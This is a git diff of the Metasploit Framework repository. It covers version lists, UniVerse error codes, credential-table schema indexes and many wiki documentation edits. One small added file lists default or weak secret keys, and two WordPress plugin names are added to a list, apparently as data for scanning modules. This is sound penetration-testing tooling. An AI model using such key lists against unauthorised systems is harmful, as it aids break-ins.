"V4_7_5_SNAPSHOT",
"V4_7_5",
"V4_7_6_SNAPSHOT",
"V4_7_6",
"V4_7_7_SNAPSHOT",
"V4_7_7",
"V4_7_8_SNAPSHOT",
"V4_7_8",
"V4_7_9_SNAPSHOT",
"V4_7_9",
"V4_8_0_SNAPSHOT",
"V4_8_0",
"V4_8_1_SNAPSHOT",
"V4_8_1",
"V4_8_2_SNAPSHOT",
"V4_8_2",
"V4_8_3_SNAPSHOT",
"V4_8_3",
"V4_8_4_SNAPSHOT",
"V4_8_4",
"V4_8_5_SNAPSHOT",
"V4_8_5",
"V4_8_6_SNAPSHOT",
"V4_8_6",
"V4_8_7_SNAPSHOT",
"V4_8_7",
"V4_8_8_SNAPSHOT",
"V4_8_8",
"V4_8_9_SNAPSHOT",
"V4_8_9",
"V4_9_0_SNAPSHOT",
"V4_9_0",
"V4_9_1_SNAPSHOT",
"V4_9_1",
"V4_9_2_SNAPSHOT",
"V4_9_2",
"V4_9_3_SNAPSHOT",
"V4_9_3",
"V4_9_4_SNAPSHOT",
"V4_9_4",
"V4_9_5_SNAPSHOT",
"V4_9_5",
"V4_9_6_SNAPSHOT",
"V4_9_6",
"V4_9_7_SNAPSHOT",
"V4_9_7",
"V4_9_8_SNAPSHOT",
"V4_9_8",
"V4_9_9_SNAPSHOT",
"V4_9_9",
"V5_0_0_SNAPSHOT",
"V5_0_0",
"V5_0_1_SNAPSHOT",
"V5_0_1",
"V5_0_2_SNAPSHOT",
"V5_0_2",
"V5_0_3_SNAPSHOT",
"V5_0_3",
"V5_0_4_SNAPSHOT",
"V5_0_4",
"V5_0_5_SNAPSHOT",
"V5_0_5",
"V5_0_6_SNAPSHOT",
"V5_0_6",
"V5_0_7_SNAPSHOT",
"V5_0_7",
"V5_0_8_SNAPSHOT",
"V5_0_8",
"V5_0_9_SNAPSHOT",
"V5_0_9",
"V5_1_0_SNAPSHOT",
"V5_1_0",
"V5_1_1_SNAPSHOT",
"V5_1_1",
"V5_1_2_SNAPSHOT",
"V5_1_2",
"V5_1_3_SNAPSHOT",
"V5_1_3",
"V5_1_4_SNAPSHOT",
"V5_1_4",
"V5_1_5_SNAPSHOT",
"V5_1_5",
"V5_1_6_SNAPSHOT",
"V5_1_6",
"V5_1_7_SNAPSHOT",
"V5_1_7",
"V5_1_8_SNAPSHOT",
"V5_1_8",
"V5_1_9_SNAPSHOT",
"V5_1_9",
"V5_2_0_SNAPSHOT",
"V5_2_0",
"V5_2_1_SNAPSHOT",
"V5_2_1",
"V5_2_2_SNAPSHOT",
"V5_2_2",
"V5_2_3_SNAPSHOT",
"V5_2_3",
"V5_2_4_SNAPSHOT",
"V5_2_4",
"V5_2_5_SNAPSHOT",
"V5_2_5",
"V5_2_6_SNAPSHOT",
"V5_2_6",
"V5_2_7_SNAPSHOT",
"V5_2_7",
"V5_2_8_SNAPSHOT",
"V5_2_8",
"V5_2_9_SNAPSHOT",
"V5_2_9",
"V5_3_0_SNAPSHOT",
"V5_3_0",
"V5_3_1_SNAPSHOT",
"V5_3_1",
"V5_3_2_SNAPSHOT",
"V5_3_2",
"V5_3_3_SNAPSHOT",
"V5_3_3",
"V5_3_4_SNAPSHOT",
"V5_3_4",
"V5_3_5_SNAPSHOT",
"V5_3_5",
"V5_3_6_SNAPSHOT",
"V5_3_6",
"V5_3_7_SNAPSHOT",
"V5_3_7",
"V5_3_8_SNAPSHOT",
"V5_3_8",
"V5_3_9_SNAPSHOT",
"V5_3_9",
"V5_4_0_SNAPSHOT",
"V5_4_0",
"V5_4_1_SNAPSHOT",
"V5_4_1",
"V5_4_2_SNAPSHOT",
"V5_4_2",
"V5_4_3_SNAPSHOT",
"V5_4_3",
"V5_4_4_SNAPSHOT",
"V5_4_4",
"V5_4_5_SNAPSHOT",
"V5_4_5",
"V5_4_6_SNAPSHOT",
"V5_4_6",
"V5_4_7_SNAPSHOT",
"V5_4_7",
"V5_4_8_SNAPSHOT",
"V5_4_8",
"V5_4_9_SNAPSHOT",
"V5_4_9",
"V5_5_0_SNAPSHOT",
"V5_5_0",
"V5_5_1_SNAPSHOT",
"V5_5_1",
"V5_5_2_SNAPSHOT",
"V5_5_2",
"V5_5_3_SNAPSHOT",
"V5_5_3",
"V5_5_4_SNAPSHOT",
"V5_5_4",
"V5_5_5_SNAPSHOT",
"V5_5_5",
"V5_5_6_SNAPSHOT",
"V5_5_6",
"V5_5_7_SNAPSHOT",
"V5_5_7",
"V5_5_8_SNAPSHOT",
"V5_5_8",
"V5_5_9_SNAPSHOT",
"V5_5_9",
"V5_6_0_SNAPSHOT",
"V5_6_0",
"V5_6_1_SNAPSHOT",
"V5_6_1",
"V5_6_2_SNAPSHOT",
"V5_6_2",
"V5_6_3_SNAPSHOT",
"V5_6_3",
"V5_6_4_SNAPSHOT",
"V5_6_4",
"V5_6_5_SNAPSHOT",
"V5_6_5",
"V5_6_6_SNAPSHOT",
"V5_6_6",
"V5_6_7_SNAPSHOT",
"V5_6_7",
"V5_6_8_SNAPSHOT",
"V5_6_8",
"V5_6_9_SNAPSHOT",
"V5_6_9",
"V5_7_0_SNAPSHOT",
"V5_7_0",
"V5_7_1_SNAPSHOT",
"V5_7_1",
"V5_7_2_SNAPSHOT",
"V5_7_2",
"V5_7_3_SNAPSHOT",
"V5_7_3",
"V5_7_4_SNAPSHOT",
"V5_7_4",
"V5_7_5_SNAPSHOT",
"V5_7_5",
"V5_7_6_SNAPSHOT",
"V5_7_6",
"V5_7_7_SNAPSHOT",
"V5_7_7",
"V5_7_8_SNAPSHOT",
"V5_7_8",
"V5_7_9_SNAPSHOT",
"V5_7_9",
"V5_8_0_SNAPSHOT",
"V5_8_0",
"V5_8_1_SNAPSHOT",
"V5_8_1",
"V5_8_2_SNAPSHOT",
"V5_8_2",
"V5_8_3_SNAPSHOT",
"V5_8_3",
"V5_8_4_SNAPSHOT",
"V5_8_4",
"V5_8_5_SNAPSHOT",
"V5_8_5",
"V5_8_6_SNAPSHOT",
"V5_8_6",
"V5_8_7_SNAPSHOT",
"V5_8_7",
"V5_8_8_SNAPSHOT",
"V5_8_8",
"V5_8_9_SNAPSHOT",
"V5_8_9",
"V5_9_0_SNAPSHOT",
"V5_9_0",
"V5_9_1_SNAPSHOT",
"V5_9_1",
"V5_9_2_SNAPSHOT",
"V5_9_2",
"V5_9_3_SNAPSHOT",
"V5_9_3",
"V5_9_4_SNAPSHOT",
"V5_9_4",
"V5_9_5_SNAPSHOT",
"V5_9_5",
"V5_9_6_SNAPSHOT",
"V5_9_6",
"V5_9_7_SNAPSHOT",
"V5_9_7",
"V5_9_8_SNAPSHOT",
"V5_9_8",
"V5_9_9_SNAPSHOT",
"V5_9_9",
"HIGHER_VERSION"
]
Binary file not shown.
+101
View File
@@ -0,0 +1,101 @@
# Mostly from https://docs.rocketsoftware.com/bundle/grv1653317862214_grv1653317862214/page/nhb1653316841876.html
{
0: "UVE_NOERROR",
14002: "UVE_ENOENT",
14005: "UVE_EIO",
14009: "UVE_EBADF",
14012: "UVE_ENOMEM",
14013: "UVE_EACCES",
14022: "UVE_EINVAL",
14023: "UVE_ENFILE",
14024: "UVE_EMFILE",
14028: "UVE_ENOSPC",
14551: "UVE_NETUNREACH",
22001: "UVE_BFN",
22002: "UVE_BTS",
20003: "UVE_IID",
22004: "UVE_LRR",
22005: "UVE_NFI",
30001: "UVE_RNF",
30002: "UVE_LCK",
30095: "UVE_FIFS",
30097: "UVE_SELFAIL",
30098: "UVE_LOCKINVALID",
30099: "UVE_SEQOPENED",
30100: "UVE_HASHOPENED",
30101: "UVE_SEEKFAILED",
30103: "UVE_INVALIDATKEY",
30105: "UVE_UNABLETOLOADSUB",
30106: "UVE_BADNUMARGS",
30107: "UVE_SUBERROR",
30108: "UVE_ITYPEFTC",
30109: "UVE_ITYPEFAILEDTOLOAD",
30110: "UVE_ITYPENOTCOMPILED",
30111: "UVE_BADITYPE",
30112: "UVE_INVALIDFILENAME",
30113: "UVE_WEOFFAILED",
30114: "UVE_EXECUTEISACTIVE",
30115: "UVE_EXECUTENOTACTIVE",
30124: "UVE_TX_ACTIVE",
30125: "UVE_CANT_ACCESS_PF",
30126: "UVE_FAIL_TO_CANCEL",
30127: "UVE_INVALID_INFO_KEY",
30128: "UVE_CREATE_FAILED",
30129: "UVE_DUPHANDLE_FAILED",
31000: "UVE_NVR",
31001: "UVE_NPN",
39101: "UVE_NODATA",
39119: "UVE_AT_INPUT",
39120: "UVE_SESSION_NOT_OPEN",
39121: "UVE_UVEXPIRED",
39122: "UVE_CSVERSION",
39123: "UVE_COMMSVERSION",
39124: "UVE_BADSIG",
39125: "UVE_BADDIR",
39127: "UVE_BAD_UVHOME",
39128: "UVE_INVALIDPATH",
39129: "UVE_INVALIDACCOUNT",
39130: "UVE_BAD_UVACCOUNT_FILE",
39131: "UVE_FTA_NEW_ACCOUNT",
39134: "UVE_ULR",
39135: "UVE_NO_NLS",
39136: "UVE_MAP_NOT_FOUND",
39137: "UVE_NO_LOCALE",
39138: "UVE_LOCALE_NOT_FOUND",
39139: "UVE_CATEGORY_NOT_FOUND",
39201: "UVE_SR_SOCK_CON_FAIL",
39210: "UVE_SR_SELECT_FAIL",
39211: "UVE_SR_SELECT_TIMEOUT",
40001: "UVE_INVALIDFIELD",
40002: "UVE_SESSIONEXISTS",
40003: "UVE_BADPARAM",
40004: "UVE_BADOBJECT",
40005: "UVE_NOMORE",
40006: "UVE_NOTATINPUT",
40007: "UVE_INVALID_DATAFIELD",
40008: "UVE_BAD_DICTIONARY_ ENTRY",
40009: "UVE_BAD_CONVERSION_ DATA",
45000: "UVE_FILE_NOT_OPEN",
45001: "UVE_OPENSESSION_ERR",
45002: "UVE_NONNULL_RECORDID",
80011: "UVE_BAD_LOGINNAME",
80019: "UVE_BAD_PASSWORD",
80144: "UVE_ACCOUNT_EXPIRED",
80147: "UVE_RUN_REMOTE_FAILED",
80148: "UVE_UPDATE_USER_FAILED",
81001: "UVE_RPC_BAD_CONNECTION",
81002: "UVE_RPC_NO_CONNECTION",
81005: "UVE_RPC_WRONG_VERSION",
81007: "UVE_RPC_NO_MORE_ CONNECTIONS",
81009: "UVE_RPC_FAILED",
81011: "UVE_RPC_UNKNOWN_HOST",
81014: "UVE_RPC_CANT_FIND_ SERVICE",
81015: "UVE_RPC_TIMEOUT",
81016: "UVE_RPC_REFUSED",
81017: "UVE_RPC_SOCKET_INIT_ FAILED",
81018: "UVE_RPC_SERVICE_PAUSED",
81019: "UVE_RPC_BAD_TRANSPORT",
81020: "UVE_RPC_BAD_PIPE",
81021: "UVE_RPC_PIPE_WRITE_ERROR",
81022: "UVE_RPC_PIPE_READ_ERROR"
}
File diff suppressed because one or more lines are too long
+5
View File
@@ -0,0 +1,5 @@
\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h
CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
thisISaSECRET_1234
YOUR_OWN_RANDOM_GENERATED_SECRET_KEY
TEST_NON_DEV_SECRET
@@ -57,3 +57,5 @@ woocommerce-abandoned-cart
elementor
bookingpress
paid-memberships-pro
woocommerce-payments
file-manager-advanced-shortcode
+2
View File
@@ -0,0 +1,2 @@
Contains `modules_metadata_base.json` which contains information about all modules within Metasploit, as well as
`schema.rb` which describes current state of the database schema maintained by Rails ActiveRecord.
+29332 -1625
View File
File diff suppressed because it is too large Load Diff
+3 -2
View File
@@ -10,7 +10,7 @@
#
# It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema[7.0].define(version: 2019_05_07_120211) do
ActiveRecord::Schema[7.0].define(version: 2022_12_09_005658) do
# These are extensions that must be enabled in order to support this database
enable_extension "plpgsql"
@@ -314,8 +314,9 @@ ActiveRecord::Schema[7.0].define(version: 2019_05_07_120211) do
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.string "jtr_format"
t.index "type, decode(md5(data), 'hex'::text)", name: "index_metasploit_credential_privates_on_type_and_data_pkcs12", unique: true, where: "((type)::text = 'Metasploit::Credential::Pkcs12'::text)"
t.index "type, decode(md5(data), 'hex'::text)", name: "index_metasploit_credential_privates_on_type_and_data_sshkey", unique: true, where: "((type)::text = 'Metasploit::Credential::SSHKey'::text)"
t.index ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, where: "(NOT ((type)::text = 'Metasploit::Credential::SSHKey'::text))"
t.index ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, where: "(NOT (((type)::text = 'Metasploit::Credential::SSHKey'::text) OR ((type)::text = 'Metasploit::Credential::Pkcs12'::text)))"
end
create_table "metasploit_credential_publics", id: :serial, force: :cascade do |t|
+3
View File
@@ -1,3 +1,6 @@
# Folder Purpose
This folder contains files related to running Metasploit inside Docker.
# Metasploit in Docker
## Getting Started
+1 -71
View File
@@ -181,7 +181,7 @@ module Build
new_markdown.gsub!(link[:full_match], link[:replacement])
end
fix_github_username_links(new_markdown)
new_markdown
end
attr_reader :links
@@ -300,76 +300,6 @@ module Build
matched_pages.first.fetch(:new_path)
end
def fix_github_username_links(content)
known_github_names = [
'@0a2940',
'@ChrisTuncer',
'@TomSellers',
'@asoto-r7',
'@busterb',
'@bwatters-r7',
'@jbarnett-r7',
'@jlee-r7',
'@jmartin-r7',
'@mcfakepants',
'@Op3n4M3',
'@gwillcox-r7',
'@red0xff',
'@mkienow-r7',
'@pbarry-r7',
'@schierlm',
'@timwr',
'@zerosteiner',
'@zeroSteiner',
'@harmj0y',
]
# These tags look like Github/Twitter handles, but are actually ruby/java code snippets
ignored_tags = [
'@spid',
'@adf3',
'@LDAP-DC3',
'@harmj0yDescription',
'@phpsessid',
'@http_client',
'@abstract',
'@accepts_all_logins',
'@addresses',
'@aliases',
'@channel',
'@client',
'@dep',
'@handle',
'@instance',
'@param',
'@pid',
'@process',
'@return',
'@scanner',
'@yieldparam',
'@yieldreturn',
'@compressed',
'@content',
'@path',
'@sha1',
'@type',
'@git_repo_uri',
'@git_addr',
'@git_objs',
'@refs',
]
# Replace any dangling github usernames, i.e. `@foo` - but not `[@foo](http://...)` or `email@example.com`
content.gsub(/(?<![\[|\w])@[\w-]+/) do |username|
if known_github_names.include? username
"[#{username}](https://www.github.com/#{username.gsub('@', '')})"
elsif ignored_tags.include? username
username
else
raise "Unexpected username: '#{username}'"
end
end
end
end
# Verifies that markdown links are not relative. Instead the Github wiki flavored syntax should be used.
@@ -1,17 +1,41 @@
Maintainers can assign labels to both issues and pull requests.
### Attic
When we move something to the attic it means that what you submitted is a thing that we want but the circumstances were not quite right for landing it. Sometimes this is on us, and sometimes the contribution needs more work. We recognize that contributors work on the PRs they submit at their own pace. Take a look at the comments and review suggestions on your PR, and feel free to re-open it if and when you have time to work on it again. Don't think you'll be able to get it across the finish line? Find a community champion to do it for you.
### Bug
Any PR that fixes a bug or an issue that raises awareness of a bug in the framework.
### Breaking Change
Features that are great, but will cause breaking changes and should be deployed on a large release.
### Code Quality
When a PR improves code quality.
### Confirmed
Specifically for issues that have been confirmed by a committer.
### Docs
Documentation changes, such as YARD markup, or README.md, or something along those lines.
### External
### External Modules
Touches something in /external, or the Gemfile, or something like that.
PRs dealing with modules run as their own process.
### Heartbleed
Has to do with heartbleed. This will go away soon, but there are three outstanding still...
### Hotness
Something we're really excited about.
### Library
Touches something in /lib.
@@ -26,20 +50,20 @@ Plugins and scripts, anything that's not otherwise defined.
### Module
Touches something in /modules
Touches something in /modules.
### Specs
### Needs Linting
Has specs (an rspec test)
The module needs additional work to pass our automated linting rules.
### Needs More Information
The issue lacks enough detail to replicate/resolve successfully.
### Newbie Friendly
Something that's pretty easy to test or tackle.
### attic
When we move something to the attic it means that what you submitted is a thing that we want but the circumstances were not quite right for landing it. Sometimes this is on us, and sometimes the contribution needs more work. We recognize that contributors work on the PRs they submit at their own pace. Take a look at the comments and review suggestions on your PR, and feel free to re-open it if and when you have time to work on it again. Don't think you'll be able to get it across the finish line? Find a community champion to do it for you.
### Needs unique branch
Your submitted a PR from your `master` branch.
@@ -49,4 +73,74 @@ Because of how GitHub tracks changes between branches and what got added in a pa
git checkout -b <BRANCH_NAME>
git push <your_fork_remote> <BRANCH_NAME>
```
This helps protect the process, ensure users are aware of commits on the branch being considered for merge, allows for a location for more commits to be offered without mingling with other contributor changes and allows contributors to make progress while a PR is still being reviewed.
This helps protect the process, ensure users are aware of commits on the branch being considered for merge, allows for a location for more commits to be offered without mingling with other contributor changes and allows contributors to make progress while a PR is still being reviewed.
### Needs-docs
When a module is uploaded without a corresponding documentation file, add this label in indicate docs are required
### Not Stale
Label to stop an issue from being auto closed.
### Osx
Label for any osx related work.
### Payload
Touches something related to a payload.
### RN (Release notes)
There are a series of labels that are added to all PRs when they are landed that define the release notes for the PR.
They are denoted by the `rn-` prefix and they are important as they are used by automation to track metasploit-framework
statistics:
#### rn-enhancement
Release notes for an enhancement.
#### rn-fix
Release notes for a fix.
#### rn-modules
Release notes for new or majorly enhanced modules.
#### rn-no-release-notes
The PR is too small or insignificant to warrant release notes.
#### rn-wiki
Release notes for Metasploit Framework wiki.
### Stale
Marks an issue as stale, to be closed if no action is taken.
### Suggestion
Suggestions for new functionality.
### Suggestion-docs
New documentation suggestions.
### Suggestion-feature
New feature suggestions.
### Suggestion-Module
New module suggestions.
### Usability
Usability improvements.
### YARD
YARD Documentation Tasks for API Documentation.
@@ -93,7 +93,7 @@ One advantage that this directory structure gives us is the ability to write bet
### Shared build tasks
Because all routine module-oriented tasks will be preformed with rake tasks, we will need to make the default actions for these tasks as intelligent and reusable as possible across different module types/implementations. A module author should not have to worry about writing plumbing they do not need (or is common) or messing with plumbing that is only tangentially related to their unique need. To that end, we should have sane defaults for the following at a minimum:
Because all routine module-oriented tasks will be performed with rake tasks, we will need to make the default actions for these tasks as intelligent and reusable as possible across different module types/implementations. A module author should not have to worry about writing plumbing they do not need (or is common) or messing with plumbing that is only tangentially related to their unique need. To that end, we should have sane defaults for the following at a minimum:
```
rake run -- Start module, hook up stdin/stdout to JSON-RPC
@@ -115,4 +115,4 @@ At the very least, we will also need tooling to create a mostly-empty but runnab
### For classic modules
The biggest differences for classic modules are metadata generation and running. These can be accomplished with rake tasks, but it would involve starting up a whole framework instance for each module run. For efficiency, we will need to signal to framework to treat the module specially, perhaps having rake deps:check output/return a specific value when the module needs to be run inside of framework. Metadata would then be dumped directly from the framework loader, and instead of rake run, the classic module loader/runner would be run much as it is today. We will probably want to keep the rake tasks for these things for when we don't already have a framework instance handy.
The biggest differences for classic modules are metadata generation and running. These can be accomplished with rake tasks, but it would involve starting up a whole framework instance for each module run. For efficiency, we will need to signal to framework to treat the module specially, perhaps having rake deps:check output/return a specific value when the module needs to be run inside of framework. Metadata would then be dumped directly from the framework loader, and instead of rake run, the classic module loader/runner would be run much as it is today. We will probably want to keep the rake tasks for these things for when we don't already have a framework instance handy.
@@ -106,7 +106,7 @@ Enter passphrase: [...]
2. Modify your `.git/config` file to enable signing commits and merges by default:
````
```ini
[user]
name = Your Name
email = your_email@example.com
@@ -114,7 +114,7 @@ Enter passphrase: [...]
[alias]
c = commit -S --edit
m = merge -S --no-ff --edit
````
```
Using `git c` and `git m` from now on will sign every commit with your `DEADBEEF` key. However, note that rebasing or cherry-picking commits will change the commit hash, and therefore, unsign the commit -- to resign the most recent, use `git c --amend`.
@@ -58,7 +58,7 @@ You probably shouldn't run proof of concept exploit code you find on the Interne
Also, please take a peek at our guides on using git and our acceptance guidelines for new modules in case you're not familiar with them.
If you get stuck, try to explain your specific problem as best you can on our [Freenode IRC](https://freenode.net/) channel, #metasploit (joining requires a [registered nick](https://freenode.net/kb/answer/registration)). Someone should be able to lend a hand. Apparently, some of those people never sleep.
If you get stuck, try to explain your specific problem as best you can on our [Freenode IRC](https://freenode.net/) channel, #metasploit (joining requires a [registered nick](https://freenode.net/view/Nick_Registration)). Someone should be able to lend a hand. Apparently, some of those people never sleep.
# Thank you
@@ -147,7 +147,7 @@ This method is just a stub on the Base mixin. It will be overridden in each Logi
For an example let's look at the attempt_login method from `Metasploit::Framework::LoginScanner::FTP (lib/metasploit/framework/login_scanner/ftp.rb)`
```ruby
```ruby
# (see Base#attempt_login)
def attempt_login(credential)
result_options = {
@@ -156,7 +156,7 @@ def attempt_login(credential)
begin
success = connect_login(credential.public, credential.private)
rescue ::EOFError, Rex::AddressInUse, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error
rescue ::EOFError, Rex::AddressInUse, Rex::ConnectionError, Rex::ConnectionProxyError, Rex::ConnectionTimeout, Rex::TimeoutError, Errno::ECONNRESET, Errno::EINTR, ::Timeout::Error
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
success = false
end
@@ -170,7 +170,7 @@ def attempt_login(credential)
::Metasploit::Framework::LoginScanner::Result.new(result_options)
end
```
```
### scan!
@@ -12,8 +12,12 @@ The pgp signatures below can be verified with the following [public key](https:/
|Download Link|File Type|SHA1|PGP|
|-|-|-|-|
| [metasploit-4.22.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)|
| [metasploit-4.22.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc)|
| [metasploit-4.22.2-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)|
| [metasploit-4.22.2-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)|
| [metasploit-4.22.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-windows-x64-installer.exe.asc)|
| [metasploit-4.22.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-linux-x64-installer.run.asc)|
| [metasploit-4.22.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe.asc)|
| [metasploit-4.22.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run.asc)|
| [metasploit-4.21.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe.asc)|
| [metasploit-4.21.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run.asc)|
| [metasploit-4.21.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.asc)|
@@ -1,6 +1,6 @@
GSoC Project Ideas in no particular order.
Mentors: @busterb, @zerosteiner, @timwr, @asoto-r7, @jmartin-r7, @pbarry-r7, @mkienow-r7, @jbarnett-r7
Mentors: [@busterb](https://github.com/busterb), [@zerosteiner](https://github.com/zerosteiner), [@timwr](https://github.com/timwr), [@asoto-r7](https://github.com/asoto-r7), [@jmartin-r7](https://github.com/jmartin-r7), [@pbarry-r7](https://github.com/pbarry-r7), [@mkienow-r7](https://github.com/mkienow-r7), [@jbarnett-r7](https://github.com/jbarnett-r7)
## Enhance Metasploit Framework
@@ -1,6 +1,6 @@
GSoC Project Ideas in no particular order. When you've picked one, take a look at [[How-to-Apply-to-GSoC]] for how to make a proposal.
Mentors: @zerosteiner, @jmartin-r7
Mentors: [@zerosteiner](https://github.com/zerosteiner), [@jmartin-r7](https://github.com/jmartin-r7)
## Enhance Metasploit Framework
@@ -28,7 +28,7 @@ Difficulty: 3/5
### Enhance Sql Injection Support
Enable faster implementation of SQL injection based explot modules by adding library support for common injection attack vectors. Currently very few sql injection exploits are implemented for Metasploit possibly due to the high complexity of building out injection queries and posting them to a vulnerable URI.
Enable faster implementation of SQL injection based exploit modules by adding library support for common injection attack vectors. Currently very few sql injection exploits are implemented for Metasploit possibly due to the high complexity of building out injection queries and posting them to a vulnerable URI.
Difficulty: 3/5
@@ -1,12 +1,12 @@
GSoC Project Ideas in no particular order. When you've picked one, take a look at [[How-to-Apply-to-GSoC]] for how to make a proposal.
Mentors: @zerosteiner, @jmartin-r7
Mentors: [@zerosteiner](https://github.com/zerosteiner), [@jmartin-r7](https://github.com/jmartin-r7)
## Enhance Metasploit Framework
### Retain active status of authentication tokens
Many testing techniques interacting with web servers such as `XSS` rely on ensuring authentication obtained on a target be kept active. A mechanism for regstering and maintaining open authentications identified during a test for the duration of the console session may provide an additional utility to enable more modules to target techniques that need valid authentication to be maintained. One such authentication token would be data retained in a cookie for a web service. This project would lay the groundwork for registering gathered or generated authenticaion tokens against a target to be refreshed and sustained until a console exits, or in some cases across console restarts.
Many testing techniques interacting with web servers such as `XSS` rely on ensuring authentication obtained on a target be kept active. A mechanism for registering and maintaining open authentications identified during a test for the duration of the console session may provide an additional utility to enable more modules to target techniques that need valid authentication to be maintained. One such authentication token would be data retained in a cookie for a web service. This project would lay the groundwork for registering gathered or generated authenticaion tokens against a target to be refreshed and sustained until a console exits, or in some cases across console restarts.
Difficulty: 2/5
@@ -1,6 +1,6 @@
GSoC Project Ideas in no particular order. When you've picked one, take a look at [[How-to-Apply-to-GSoC]] for how to make a proposal.
Mentors: @zerosteiner, @jmartin-r7, @gwillcox-r7
Mentors: [@zerosteiner](https://github.com/zerosteiner), [@jmartin-r7](https://github.com/jmartin-r7), [@gwillcox-r7](https://github.com/gwillcox-r7)
Slack Contacts: @zeroSteiner, @Op3n4M3, @gwillcox-r7 on [Metasploit Slack](https://metasploit.slack.com/)
@@ -31,7 +31,7 @@ Difficulty: 3/5
### Enhanced LDAP Query & Collection
When preforming security assessment on a network with centralized login such as LDAP or Active Directory these services are sometimes exposed directly on the network. While Metasploit has capabilities to collect various pieces of information from these services when a user has been able to gain code execution inside a target system by utilizing tooling such as `Sharphound` or by leveraging SMB services via the `secrets_dump` module, these methods are somewhat indirect. A network base capability to query exposed services may have value. An interactive terminal plugin allowing users to connect directly to LDAP or Active Directory providing capabilities similar to the existing `requests` plugin could enable users search for valuable information in these services without the need to compromise a target or interact with a secondary service.
When performing security assessment on a network with centralized login such as LDAP or Active Directory these services are sometimes exposed directly on the network. While Metasploit has capabilities to collect various pieces of information from these services when a user has been able to gain code execution inside a target system by utilizing tooling such as `Sharphound` or by leveraging SMB services via the `secrets_dump` module, these methods are somewhat indirect. A network base capability to query exposed services may have value. An interactive terminal plugin allowing users to connect directly to LDAP or Active Directory providing capabilities similar to the existing `requests` plugin could enable users search for valuable information in these services without the need to compromise a target or interact with a secondary service.
Size: Medium/Large (Depends on proposal)
Difficulty: 3/5
@@ -1,6 +1,6 @@
GSoC Project Ideas in no particular order. When you've picked one, take a look at [[How-to-Apply-to-GSoC]] for how to make a proposal.
Mentors: @jmartin-r7
Mentors: [@jmartin-r7](https://github.com/jmartin-r7)
Slack Contacts: @Op3n4M3 on [Metasploit Slack](https://metasploit.slack.com/)
@@ -35,7 +35,7 @@ But of course, to begin, you most likely need a template to work with, and here
```ruby
##
# This module requires Metasploit: http://metasploit.com/download
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
@@ -69,7 +69,12 @@ class MetasploitModule < Msf::Exploit::Remote
},
'Privileged' => false,
